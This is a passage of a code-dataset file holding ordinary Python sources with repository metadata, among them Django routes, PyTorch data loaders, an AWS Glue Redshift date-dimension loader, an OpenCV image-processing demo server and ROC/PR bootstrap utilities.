jump_pixmaps_left[insn.left_state[1]],\n jump_pixmaps_left[insn.left_state[0]],\n strRepresentation,\n jump_pixmaps_right[insn.right_state[0]],\n jump_pixmaps_right[insn.right_state[1]],\n jump_pixmaps_right[insn.right_state[2]],\n target,\n insn\n ))\n\n def refreshModel(self):\n for iter in self.tree_store:\n insn = iter[self.COLUMN_INSTRUCTION]\n if isinstance(insn, Instruction):\n insnAddr = \"0x%08x\" % (insn.address)\n insnStr = insn.getOpcode()\n argsStr = insn.getArgs()\n strRepresentation = '%s\\t%s' % (config.insnFgColor, insnStr, argsStr)\n if insn.comment:\n strRepresentation += ' ;%s' % (config.highLevelCodeFgColor, cgi.escape(insn.comment))\n iter[self.COLUMN_STR_REPRESENTATION] = strRepresentation\n iter[self.COLUMN_ADDR] = insnAddr\n for highlighter in self.highlighters:\n highlighter.highlight(iter, self.curInstruction, self)\n\n def lazyinitFunction(self):\n if self.function == None:\n return\n if self.function.getAll() == []:\n self.function.parse()\n self.function.link()\n\n def setCurInstruction(self, curInstruction):\n self.curInstruction = curInstruction\n if self.function == None:\n return\n\n def getModel(self):\n \"\"\" Returns the model \"\"\"\n if self.tree_store:\n return self.tree_store\n else:\n return None\n","repo_name":"SimonKagstrom/dissy","sub_path":"dissy/InstructionModel.py","file_name":"InstructionModel.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"62"} +{"seq_id":"31781471994","text":"import numpy as np\n\n\ndef encode_sequences(letter_sequences, symbol_to_idx, sequence_len, pad_symbol=None, go_symbol=None,\n pad_beginning=True, reverse=False, ):\n \"\"\"\n Given a set of symbols and their index/label encoded the given\n list of string sequences as numeric sequences.\n \"\"\"\n\n pad_idx = symbol_to_idx[pad_symbol]\n\n if go_symbol is None:\n go_idx = None\n else:\n go_idx = symbol_to_idx[go_symbol]\n\n assert sequence_len >= len(max(letter_sequences, key=len)) + 0 if go_idx is None else 1\n\n encoded_sequences = np.full((len(letter_sequences), sequence_len),\n fill_value=pad_idx,\n dtype=np.int32)\n\n for i, sequence in enumerate(letter_sequences):\n\n idxs = [symbol_to_idx[symbol] for symbol in sequence]\n\n if reverse:\n idxs = idxs[::-1]\n\n # Insert the idx of the GO symbol to the end of the sequence.\n if go_idx is not None:\n idxs.append(go_idx)\n\n if pad_beginning:\n encoded_sequences[i, -len(idxs):] = idxs\n else:\n encoded_sequences[i, :len(idxs)] = idxs\n\n return encoded_sequences\n\n\ndef decode_output_sequences(sequences, symbols):\n \"\"\"\n Args:\n sequences: ndarray\n Shape: (num_seq, time_steps, output_size)\n symbols: [str]\n\n Returns:\n decoded_sequences: [str]\n \"\"\"\n\n decoded_sequences = []\n for sequence in np.argmax(sequences, axis=2):\n decoded_sequences.append(''.join(symbols[idx] for idx in sequence))\n return decoded_sequences\n\n\ndef dense_to_one_hot(labels_dense, num_classes):\n \"\"\"\n Convert class labels from scalars to one-hot vectors.\n\n Args:\n labels_dense: array, 1D or 2D, int32\n Shape: (num_samples) or (num_sequences, sequence_len)\n num_classes: int\n\n Returns:\n labels_one_hot: array, 2D or 3D, float32\n Shape: (num_samples, num_classes) or\n (num_sequences, sequence_len, num_classes)\n \"\"\"\n\n assert labels_dense.ndim == 1 or labels_dense.ndim == 2\n assert labels_dense.dtype == np.int32\n\n if labels_dense.ndim == 1:\n num_sequences = 0\n sequence_len = labels_dense.shape\n else:\n num_sequences, sequence_len = labels_dense.shape\n\n labels_dense = labels_dense.reshape(-1)\n num_labels = labels_dense.shape[0]\n index_offset = np.arange(num_labels) * num_classes\n labels_one_hot = np.zeros((num_labels, num_classes), dtype=np.float32)\n labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1\n\n if num_sequences > 0:\n labels_one_hot = labels_one_hot.reshape((num_sequences, sequence_len, num_classes))\n\n return labels_one_hot\n","repo_name":"raindeer/seq2seq_experiments","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"62"} +{"seq_id":"18566981501","text":"from torch.utils.data import DataLoader, random_split\nfrom utils.augmentation import AugmentData\n\n\ndef get_train_val_test_datasets(dataset, train_ratio, val_ratio):\n assert (train_ratio + val_ratio) <= 1\n train_size = int(len(dataset) * train_ratio)\n val_size = int(len(dataset) * val_ratio)\n test_size = len(dataset) - train_size - val_size\n \n train_set, val_set, test_set = random_split(dataset, [train_size, val_size, test_size])\n return train_set, val_set, test_set\n\n\ndef get_train_val_test_loaders(dataset, train_ratio, val_ratio, train_batch_size, val_test_batch_size, num_workers):\n train_set, val_set, test_set = get_train_val_test_datasets(dataset, train_ratio, val_ratio)\n\n train_loader = DataLoader(train_set, train_batch_size, shuffle=True, num_workers=num_workers)\n val_loader = DataLoader(val_set, val_test_batch_size, shuffle=False, num_workers=num_workers)\n test_loader = DataLoader(test_set, val_test_batch_size, shuffle=False, num_workers=num_workers)\n \n return train_loader, val_loader, test_loader\n\n\ndef full_data_iterator(iterable, augmentator=None):\n \"\"\"\n Allows training with DataLoaders in a single infinite loop:\\n\n for i, data in enumerate(inf_generator(train_loader)):\\n\n does not augment data in any way\n \"\"\"\n iterator = iterable.__iter__()\n while True:\n try:\n yield iterator.__next__()\n except StopIteration:\n iterator = iterable.__iter__()\n\ndef partial_augmentation_iterator(iterable, augmentator:AugmentData):\n \"\"\"\n Allows training with DataLoaders in a single infinite loop:\\n\n for i, data in enumerate(inf_generator(train_loader)):\\n\n uses both unaugmented data and augmented data\n \"\"\"\n iterator = iterable.__iter__()\n j=0\n while True:\n try:\n j+=1+augmentator.augmentation_count\n original_iterator = iterator.__next__()\n yield original_iterator\n for i in range(augmentator.augmentation_count):\n yield augmentator.augment_data(original_iterator, it=j*2+i)\n\n except StopIteration:\n iterator = iterable.__iter__()\n\n\ndef full_augmentation_iterator(iterable, augmentator:AugmentData):\n \"\"\"\n Allows training with DataLoaders in a single infinite loop:\\n\n for i, data in enumerate(inf_generator(train_loader)):\\n\n only yields augmented data\n \"\"\"\n iterator = iterable.__iter__()\n j=0\n while True:\n try:\n j+=1\n yield augmentator.augment_data(iterator.__next__(), it=j)\n\n except StopIteration:\n iterator = iterable.__iter__()\n","repo_name":"PottedRosePetal/BachelorThesis","sub_path":"utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"12331136382","text":"from django.urls import path\n\nfrom django_ledger.views.unit import (EntityUnitModelListView, EntityUnitModelCreateView,\n EntityUnitUpdateView, EntityUnitModelDetailView)\n\nurlpatterns = [\n path('/unit/list/',\n EntityUnitModelListView.as_view(),\n name='unit-list'),\n path('/unit/create/',\n EntityUnitModelCreateView.as_view(),\n name='unit-create'),\n path('/unit/detail//',\n EntityUnitModelDetailView.as_view(),\n name='unit-detail'),\n path('/unit/update//',\n EntityUnitUpdateView.as_view(),\n name='unit-update'),\n]\n","repo_name":"nalakwenda/django-ledger","sub_path":"django_ledger/urls/unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"43317351388","text":"from datetime import time\n\nfrom matplotlib.transforms import Bbox\n\nimport mapel.elections as mapel\nimport itertools\nfrom scipy.stats import stats\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\nfrom print import *\n\n\nif __name__ == \"__main__\":\n\n object_type = 'vote'\n size = '10x100'\n culture_id = 'urn'\n\n experiment_id = f'microscope/{size}/{culture_id}'\n distance_id = 'emd-positionwise'\n\n if object_type == 'vote':\n distance_id = 'swap'\n elif object_type == 'candidate':\n distance_id = 'position'\n\n experiment = mapel.prepare_offline_ordinal_experiment(experiment_id=experiment_id,\n distance_id=distance_id,\n )\n\n # experiment.prepare_elections()\n #\n # for election in experiment.instances.values():\n # print(election.label)\n # election.set_default_object_type(object_type)\n # election.compute_distances(object_type=object_type, distance_id=distance_id)\n # election.embed(object_type=object_type)\n # # #\n if size == '10x100' and object_type == 'vote':\n print_10x100_vote(experiment)\n elif size == '10x1000' and object_type == 'vote':\n print_10x1000_vote(experiment)\n elif size == '10x100' and object_type == 'candidate':\n print_10x100_candidate(experiment)\n elif size == '100x100' and object_type == 'candidate':\n print_100x100_candidate(experiment)\n\n experiment.merge_election_images(name=experiment_id, show=False, ncol=5, nrow=1,\n object_type=object_type)\n","repo_name":"szufix/mapel","sub_path":"projects/guide_ordinal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"30583133492","text":"import time\nfrom enum import IntEnum\nfrom eth_utils import is_address\n\n\nclass ChannelState(IntEnum):\n OPEN = 0\n CLOSED = 1\n CLOSE_PENDING = 2\n UNDEFINED = 100\n\n\nclass Channel(object):\n def __init__(self,\n receiver: str,\n sender: str,\n deposit: int,\n open_block_number\n ):\n \"\"\"\n A channel between two parties.\n\n Args:\n receiver (str): receiver address\n sender (str): sender address\n deposit (int): channel deposit\n open_block_number (int): block the channel was created in\n \"\"\"\n assert is_address(receiver)\n assert is_address(sender)\n assert deposit >= 0\n assert open_block_number >= 0\n self.receiver = receiver\n self.sender = sender # sender address\n self.deposit = deposit # deposit is maximum funds that can be used\n self.open_block_number = open_block_number\n\n self.balance = 0 # how much of the deposit has been spent\n self.state = ChannelState.UNDEFINED\n self.last_signature = None\n # if set, this is the absolute block_number the channel can be settled\n self.settle_timeout = -1\n self.ctime = time.time() # channel creation time\n self.mtime = self.ctime\n self.confirmed = False\n\n self.unconfirmed_topups = {} # txhash to added deposit\n\n @property\n def is_closed(self) -> bool:\n \"\"\"\n Returns:\n bool: True if channel is closed\n \"\"\"\n return (self.state) in (ChannelState.CLOSED, ChannelState.CLOSE_PENDING)\n\n @is_closed.setter\n def is_closed(self, value) -> None:\n assert value is True\n self.state = ChannelState.CLOSED\n\n @property\n def unconfirmed_deposit(self):\n \"\"\"\n Returns:\n int: sum of all deposits, including unconfirmed ones\n \"\"\"\n return self.deposit + sum(self.unconfirmed_topups.values())\n\n def to_dict(self) -> dict:\n \"\"\"\n Returns:\n dict: Channel object serialized as a dict\n \"\"\"\n return self.__dict__\n\n @classmethod\n def from_dict(cls, state: dict):\n ret = cls(None, None, None, None)\n assert (set(state) - set(ret.__dict__)) == set()\n for k, v in state.items():\n if k in ret.__dict__.keys():\n setattr(ret, k, v)\n return ret\n","repo_name":"raiden-network/microraiden","sub_path":"microraiden/channel_manager/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":365,"dataset":"github-code","pt":"62"} +{"seq_id":"6025149616","text":"from django.db import models\r\n\r\nclass Report(models.Model):\r\n\r\n name = models.ForeignKey(\r\n \"locations.Location\",\r\n related_name = 'reports',\r\n verbose_name = 'Спортобъект',\r\n on_delete=models.CASCADE\r\n )\r\n\r\n date = models.DateTimeField(\r\n \"Дата заполнения\",\r\n auto_now=True,\r\n auto_now_add=False\r\n )\r\n\r\n time_start = models.TimeField(\r\n \"Время начала\",\r\n auto_now=False,\r\n auto_now_add=False\r\n )\r\n\r\n","repo_name":"advoryan/Python","sub_path":"capacity/capacity/reports/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69887581958","text":"import os\nimport tornado.ioloop\nimport tornado.web\nimport tkinter\nfrom tkinter import filedialog\nimport cv2\nimport numpy as np\nimport webbrowser\n\nprint(\"loading..\")\nmain_win = tkinter.Tk()\nmain_win.geometry(\"300x100\")\nmain_win.sourceFile = ''\n\n\ndef chooseFile():\n main_win.sourceFile = filedialog.askopenfilename(parent=main_win, initialdir=\"./testing\",\n title='Please select a file')\n if main_win.sourceFile:\n main_win.destroy()\n\n\nb_chooseFile = tkinter.Button(main_win, text=\"Choose File\", width=20, height=3, command=chooseFile)\nb_chooseFile.place(x=75, y=20)\nb_chooseFile.width = 100\n\nimg = None\noriginal_img = None\nclone_img = None\n_clone_img = None\n\ngray_img = None\nclahe = None\n\nsloop_blue = None\nsloop_green = None\nsloop_red = None\n\n\nclass RootHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"templates/index.html\")\n\n\nclass BrowseImage(tornado.web.RequestHandler):\n def get(self):\n global img, original_img, _clone_img, clone_img, gray_img\n main_win.mainloop()\n if not main_win.sourceFile:\n return self.write('invalid image')\n img = cv2.imread(main_win.sourceFile)\n original_img = img.copy()\n _clone_img = img.copy()\n clone_img = img.copy()\n # main_win.sourceFile = \"\"\n cv2.namedWindow('original image')\n cv2.imshow('original image', img)\n cv2.waitKey(0)\n print('here')\n self.write('Original image shown')\n\n\nclass HSVToGrayIMG(tornado.web.RequestHandler):\n def get(self):\n global img, original_img, _clone_img, clone_img, gray_img\n print('converting HSV image to grayscale')\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n cv2.namedWindow('HSV To Gray')\n cv2.imshow('HSV To Gray', gray_img)\n cv2.waitKey(0)\n print('here2')\n self.write('Converted HSV image to grayscale..')\n\n\nclass Clahe_IMG(tornado.web.RequestHandler):\n def get(self):\n global gray_img, clahe\n print('applying CLAHE')\n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8, 8))\n gray_img = clahe.apply(gray_img)\n cv2.namedWindow('CLAHE')\n cv2.imshow('CLAHE', gray_img)\n cv2.waitKey(0)\n print('here3')\n self.write('Applyed CLAHE to Image.')\n\n\nclass BilateralFilter(tornado.web.RequestHandler):\n def get(self):\n global gray_img, clahe, kernel_length\n print('converting bilateral filter')\n kernel_length = 75\n gray_img = cv2.bilateralFilter(gray_img, 9, kernel_length, kernel_length * 2, kernel_length / 2)\n cv2.namedWindow('bilateral filter')\n cv2.imshow('bilateral filter', gray_img)\n cv2.waitKey(0)\n print('here4')\n self.write('Applying bilateral filter.')\n\n\ndef calc_sloop_change(histo, mode, tolerance):\n sloop = 0\n for i in range(0, len(histo)):\n if histo[i] > max(1, tolerance):\n sloop = i\n return sloop\n else:\n sloop = i\n\n\nclass InrangeFilter(tornado.web.RequestHandler):\n def get(self):\n global gray_img, clahe, kernel_length, sloop_blue, sloop_green, sloop_red\n print('applying inrange filter')\n blue_hist = cv2.calcHist([original_img], [0], None, [256], [0, 256])\n green_hist = cv2.calcHist([original_img], [1], None, [256], [0, 256])\n red_hist = cv2.calcHist([original_img], [2], None, [256], [0, 256])\n\n tolerance = int(10) * 0.01\n\n blue_mode = blue_hist.max()\n blue_tolerance = np.where(blue_hist == blue_mode)[0][0] * tolerance\n green_mode = green_hist.max()\n green_tolerance = np.where(green_hist == green_mode)[0][0] * tolerance\n red_mode = red_hist.max()\n red_tolerance = np.where(red_hist == red_mode)[0][0] * tolerance\n\n sloop_blue = calc_sloop_change(blue_hist, blue_mode, blue_tolerance)\n sloop_green = calc_sloop_change(green_hist, green_mode, green_tolerance)\n sloop_red = calc_sloop_change(red_hist, red_mode, red_tolerance)\n gray_img = cv2.adaptiveThreshold(gray_img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 85, 4)\n cv2.namedWindow('inrange filter')\n cv2.imshow('inrange filter', gray_img)\n cv2.waitKey(0)\n print('here5')\n self.write('applying in-range filter')\n\n\nclass SuperPixelSegment(tornado.web.RequestHandler):\n def get(self):\n global gray_img, _clone_img\n print('superpixel')\n contours, hierarchy = cv2.findContours(gray_img, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n c2 = [i for i in contours if cv2.boundingRect(i)[3] > 15]\n cv2.drawContours(_clone_img, c2, -1, (0, 0, 255), 1)\n cp = [cv2.approxPolyDP(i, 0.015 * cv2.arcLength(i, True), True) for i in c2]\n countRedCells = len(cp)\n print('countRedCells: ' + str(countRedCells))\n for c in cp:\n area = cv2.contourArea(c)\n # print(area)\n if area < 12000:\n xc, yc, wc, hc = cv2.boundingRect(c)\n cv2.rectangle(_clone_img, (xc, yc), (xc + wc, yc + hc), (0, 255, 0), 1)\n\n cv2.namedWindow('SuperPixel Segmentation & Feature Extract')\n cv2.imshow('SuperPixel Segmentation & Feature Extract', _clone_img)\n cv2.waitKey(0)\n print('here6')\n self.write(f\" Applying Superpixel Segmentation & Feature extraction
countRedCells: {countRedCells}\")\n\n\nclass Classification(tornado.web.RequestHandler):\n def get(self):\n global clone_img\n print('classifying image')\n\n path = os.path.dirname(main_win.sourceFile)\n action = os.path.basename(path)\n print(action)\n classify_using_svm = True\n\n cv2.putText(clone_img, action, (2, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 0, 0), 2)\n cv2.namedWindow('Output Image')\n cv2.imshow(\"Output Image\", clone_img)\n cv2.waitKey(0)\n\n if action == 'infected':\n filenm = os.path.basename(main_win.sourceFile)\n filenm = filenm.replace(\"jpg\", \"png\")\n seg_img = cv2.imread('dataset/segments/' + filenm)\n cv2.namedWindow('Segmented Image')\n cv2.imshow(\"Segmented Image\", seg_img)\n cv2.waitKey(0)\n print('segment')\n\n print('here 7 end')\n self.write('classifing image')\n\n\nif __name__ == \"__main__\":\n app = tornado.web.Application([\n (r\"/\", RootHandler),\n (r\"/browseimg\", BrowseImage),\n (r\"/hsv2gray\", HSVToGrayIMG),\n (r\"/clahe\", Clahe_IMG),\n (r\"/bilateral\", BilateralFilter),\n (r\"/inrange\", InrangeFilter),\n (r\"/superpixelsegment\", SuperPixelSegment),\n (r\"/clasfiction\", Classification),\n ])\n app.listen(5555)\n print('started')\n url = 'http://localhost:5555'\n webbrowser.open_new_tab(url)\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"SiddheshNan/malaria-disease-prediction-and-segmentation","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"5982408372","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom .base import *\nfrom .unsupervised_learning import UnsupervisedLearnerPrimitiveBase\n__all__ = (u'ClusteringPrimitiveBase',)\n\n\nclass ClusteringPrimitiveBase(UnsupervisedLearnerPrimitiveBase[(Inputs, Outputs, Params)]):\n u'\\n A base class for primitives implementing a clustering algorithm.\\n '\n def fit(self, timeout=None, iterations=None):\n u'\\n A noop.\\n '\n return\n\n def get_params(self):\n u'\\n A noop.\\n '\n return None\n\n def set_params(self, params):\n u'\\n A noop.\\n '\n return\n\n def set_training_data(self, inputs):\n u'\\n A noop.\\n '\n return","repo_name":"KnowledgeCaptureAndDiscovery/P4ML-UI","sub_path":"spider/spider/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"16165354882","text":"restaurant = {\n \"name\":\"jai shri bala ji\",\n \"reviews\" : 4.7,\n \"categories\" : [\"Mithai\",\"Indian\",\"Bakery\",\"Fast Food\"],\n \"time to deliver\" : 35,\n \"price per person\" : 150,\n \"promo code\": \"shribala786\"\n}\nrestaurant[\"address\"] =\"civil lines\"\nrestaurant[\"phone\"] =\"8013651414\"\n\nprint(restaurant)\nprint(type(restaurant))\nprint(len(restaurant))\ndish1 ={\n \"name\":\"milk cake\",\n \"price\":200\n }\ndish2 = {\n \"name\": \"barfi\",\n \"price\": 150\n}\ndish3 ={\n \"name\":\"coclate barfi\",\n \"price\":250\n }\ndishes =[dish1,dish2,dish3]\nrestaurant[\"dishes\"]=dishes\nprint(\"RESTAURANT\")\nprint(restaurant)\n","repo_name":"godfather786/pythontraining","sub_path":"session 3D.py","file_name":"session 3D.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31483914871","text":"import sys\nfrom pyspark.sql import SparkSession\nfrom awsglue.utils import getResolvedOptions\nfrom pyspark.context import SparkContext\nfrom awsglue.context import GlueContext\nfrom pyspark.sql.functions import lit\n# from watcherlogger.logger import watcherlogger\nfrom datetime import datetime\nfrom awsglue.dynamicframe import DynamicFrame\nimport boto3\nimport logging\n\n\nargs = getResolvedOptions(sys.argv, [\"JOB_NAME\",\"OUTPUT_TMP_PATH\",\"REDSHIFT_DB_NAME\",\"REDSHIFT_TABLE_NAME\",\"GLUE_CONN_NAME\",\"REDSHIFT_STG_NAME\",\"REDSHIFT_HOLIDAY_TABLE\",\"SQL_PATH\",\"MONTH_SQL_PATH\",\"REDSHIFT_MONTH_TABLE_NAME\",\"REDSHIFT_MONTH_STG_NAME\"])\nsc = SparkContext()\nglueContext = GlueContext(sc)\nspark = glueContext.spark_session\nlogger = logging.getLogger(__name__)\n\nclass SQLTransform(object):\n def __init__(self, params):\n self.params = params\n def _schema_uri_type(self):\n if self.params[\"sql_path\"].startswith(\"file://\"):\n sql_path_type = \"local\"\n elif self.params[\"sql_path\"].startswith(\"s3://\"):\n sql_path_type = \"s3\"\n elif self.params[\"sql_path\"].startswith(\"dbfs:/\"):\n sql_path_type = \"dbfs\"\n else:\n raise InvalidSchemaLocation()\n return sql_path_type\n\n def _schema_data(self):\n location_type = self._schema_uri_type()\n if location_type == \"local\":\n with open(self.params[\"sql_path\"], \"rb\") as f:\n data = f.read()\n elif location_type == \"s3\":\n s3 = boto3.client(\"s3\")\n s3_bucket_index = self.params[\"sql_path\"].replace(\"s3://\",\"\").find(\"/\")\n s3_bucket = self.params[\"sql_path\"][5:s3_bucket_index+5]\n s3_key = self.params[\"sql_path\"][s3_bucket_index+6:]\n obj = s3.get_object(Bucket=s3_bucket, Key=s3_key) \n data = obj[\"Body\"].read().decode('utf-8') \n elif location_type == \"dbfs\":\n with open(self.params[\"sql_path\"].replace(\"dbfs:\",\"/dbfs\")) as f:\n data = f.read()\n else:\n data = None\n return data \n\n def transform(self):\n sql_query = self._schema_data()\n df = spark.sql(sql_query)\n print(\"Query successful\")\n print(\"Total records {}\".format(df.count()))\n return df \n \nclass ProcessedDataSink(object):\n def __init__(self, params):\n self.params = params\n \n def write_target_data_jdbc(self, df, table, post_query):\n dyf = DynamicFrame.fromDF(df, glueContext, \"dyf\")\n\n print(f\"Perform post stg load operation: {post_query}\".format())\n datasink1 = glueContext.write_dynamic_frame.from_jdbc_conf(frame = dyf, catalog_connection = self.params[\"glue_conn_name\"], connection_options = {\"dbtable\": self.params[\"redshift_table\"], \"database\": self.params[\"redshift_db\"],\"postactions\":post_query}, redshift_tmp_dir = self.params[\"output_tmp_path\"], transformation_ctx = \"datasink1\")\n \n\nif __name__ == \"__main__\":\n \n context = {\"job_name\":args[\"JOB_NAME\"], \"service_arn\":\"date lkp loader\", \"module_name\":\"AHBR\", \"job_type\":\"full\"}\n# logger = watcherlogger().Builder().setLogLevel(logging.INFO).setStreamNamePrefix(context[\"module_name\"]).getOrCreate()\n \n #Retrieve params\n month_dim = args[\"REDSHIFT_MONTH_TABLE_NAME\"]\n stg_month_dim = args[\"REDSHIFT_MONTH_STG_NAME\"]\n output_tmp_path = args[\"OUTPUT_TMP_PATH\"]\n redshift_db = args[\"REDSHIFT_DB_NAME\"]\n date_dim = args[\"REDSHIFT_TABLE_NAME\"]\n stg_date_dim = args[\"REDSHIFT_STG_NAME\"]\n glue_conn_name = args[\"GLUE_CONN_NAME\"]\n federal_holiday = args[\"REDSHIFT_HOLIDAY_TABLE\"]\n month_sparksql_s3_path = args[\"MONTH_SQL_PATH\"]\n date_sparksql_s3_path = args[\"SQL_PATH\"]\n \n print(\"Started Job\")\n log_data = context\n log_data[\"status\"] = \"Start\"\n \n logger.info(log_data)\n #Separate read and write params for month table load\n read_params_month = {\"sql_path\":month_sparksql_s3_path}\n write_params_month = {\"output_tmp_path\":output_tmp_path,\"redshift_db\":redshift_db,\"redshift_table\":stg_month_dim, \"glue_conn_name\":glue_conn_name}\n \n print(\"Read month source\")\n \n #Read source data using sql and transform\n source = SQLTransform(read_params_month).transform()\n \n date_load_post_query = f'''truncate table {month_dim};insert into {month_dim}(month_id, month_description, end_of_month_date, month_code) select stg.month_id, stg.month_description, stg.end_of_month_date, stg.month_code\n from {stg_month_dim} as stg;commit;truncate table {stg_month_dim};'''.format()\n\n print(\"Writing target\")\n #Write target data\n ProcessedDataSink(write_params_month).write_target_data_jdbc(source, stg_month_dim, date_load_post_query)\n \n \n #Separate read and write params for date table load\n read_params_date = {\"sql_path\":date_sparksql_s3_path}\n write_params_date = {\"output_tmp_path\":output_tmp_path,\"redshift_db\":redshift_db,\"redshift_table\":stg_date_dim, \"glue_conn_name\":glue_conn_name}\n \n print(\"Loading complete for month table\")\n \n print(\"Read date source\")\n \n #Read source data using sql and transform\n source = SQLTransform(read_params_date).transform()\n \n date_load_post_query = f'''truncate table {date_dim};insert into {date_dim}(date_id,date_wid,date,day_of_week,next_business_date, day_after_business_date, is_business_day,is_federal_holiday,holiday_description,month_id) select x.date_id, x.date_wid, x.date, x.day_of_week, x.next_business_date, \n(select min(c.date) from {stg_date_dim} c LEFT OUTER JOIN {federal_holiday} as fh2 ON c.date=fh2.date where \n (case when lower(to_char(c.date,'DAY')) = 'saturday' or lower(to_char(c.date,'DAY')) = 'sunday' or fh2.date is not null then 'N' else 'Y' end ) = 'Y' and \n c.date>x.next_business_date) day_after_business_date,\n x.is_business_day, x.is_federal_holiday, x.holiday_description,mnth.month_id from (\nselect cast(stg.date_id as bigint) as date_id, cast(stg.date_wid as bigint) as date_wid, stg.date, stg.day_of_week, \n(select min(b.date) from {stg_date_dim} b LEFT OUTER JOIN {federal_holiday} as fh1 ON b.date=fh1.date where \n (case when lower(to_char(b.date,'DAY')) = 'saturday' or lower(to_char(b.date,'DAY')) = 'sunday' or fh1.date is not null then 'N' else 'Y' end ) = 'Y' and \n b.date>stg.date) next_business_date,\ncase when lower(to_char(stg.date,'DAY')) = 'saturday' or lower(to_char(stg.date,'DAY')) = 'sunday' or federal_holiday.date is not null then 'N' else 'Y' end is_business_day,\ncase when federal_holiday.date is not null then 'Y' else 'N' end is_federal_holiday,\nfederal_holiday.holiday_description FROM \n{stg_date_dim} as stg LEFT OUTER JOIN {federal_holiday} as federal_holiday ON stg.date=federal_holiday.date) x left join {month_dim} mnth on to_char(x.date,'YYYYMM')=mnth.month_code;commit;truncate table {stg_date_dim};'''.format()\n\n print(\"Writing target\")\n #Write target data\n ProcessedDataSink(write_params_date).write_target_data_jdbc(source, stg_date_dim, date_load_post_query)\n \n print(\"Loading complete for date table\")\n \n log_data[\"status\"] = \"success\"\n logger.info(log_data)\n \n","repo_name":"sristiraj/data-ingestion","sub_path":"glue-scripts/date_dim_load.py","file_name":"date_dim_load.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6540316901","text":"from sklearn.metrics import \\\n roc_curve, precision_recall_curve, \\\n roc_auc_score, average_precision_score, auc\nfrom sklearn.metrics import confusion_matrix, brier_score_loss\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndef bootstrap(y_true, y_pred, n=500):\n res = np.vstack([y_true, y_pred]).T\n\n fprs, tprs = [], []\n precisions, recalls = [], []\n\n fpr_actual, tpr_actual, _ = \\\n roc_curve(res[:, 0], res[:, 1])\n\n precision_actual, recall_actual, _ = \\\n precision_recall_curve(y_true, y_pred)\n\n for i in range(n):\n idx = np.random.choice(len(res), size=len(res), replace=True)\n fpr, tpr, _ = roc_curve(res[idx, 0], res[idx, 1])\n fprs.append(fpr)\n tprs.append(tpr)\n precision, recall, _ = precision_recall_curve(res[idx, 0], res[idx, 1])\n precisions.append(precision)\n recalls.append(recall)\n \n return {\n \"actual\": (fpr_actual, tpr_actual), \"sim\": (fprs, tprs)\n }, {\n \"actual\": (recall_actual, precision_actual), \"sim\": (recalls, precisions)\n }\n\ndef ci_bootstrap(y_true, y_pred, threshold=0.5, n=500):\n res = np.vstack([y_true, y_pred]).T\n fps, tps, tns, fns = [], [], [], []\n tn, fp, fn, tp = \\\n confusion_matrix(y_true, [1 if y>=threshold else 0 for y in y_pred]).ravel() \n #briers = []\n #brier = brier_score_loss(y_true=y_true, y_prob=y_pred)\n #briers.append(brier)\n tns.append(tn)\n fps.append(fp)\n fns.append(fn)\n tps.append(tp)\n for i in range(n):\n idx = np.random.choice(len(res), size=len(res), replace=True)\n tn, fp, fn, tp = \\\n confusion_matrix(res[idx, 0], res[idx, 1] > threshold).ravel()\n #brier = brier_score_loss(y_true=res[idx, 0], y_prob=res[idx, 1])\n #briers.append(brier)\n tns.append(tn)\n fps.append(fp)\n fns.append(fn)\n tps.append(tp)\n \n return pd.DataFrame({\"FP\": fps, \"TP\": tps, \"FN\": fns, \"TN\": tns})#, \"Brier\": briers})\n\ndef mpl_plot(roc_dict, pr_dict, saveFigs=False, figName='', legend=True):\n aurocs, auprcs = [], []\n f, axarr = plt.subplots(1, 2, figsize=(20, 8))\n for fpr, tpr in zip(*roc_dict[\"sim\"]):\n axarr[0].plot(fpr, tpr, 'b', alpha=0.05)\n aurocs.append(auc(fpr, tpr))\n axarr[0].set_ylim((-0.1,1.1))\n axarr[0].grid()\n for recall, precision in zip(*pr_dict[\"sim\"]):\n axarr[1].step(recall, precision, 'b', where='post', alpha=0.05)\n auprcs.append(auc(recall, precision))\n axarr[1].set_ylim((-0.1,1.1))\n axarr[1].grid()\n \n auroc_bounds = (np.percentile(np.array(aurocs), 2.5), 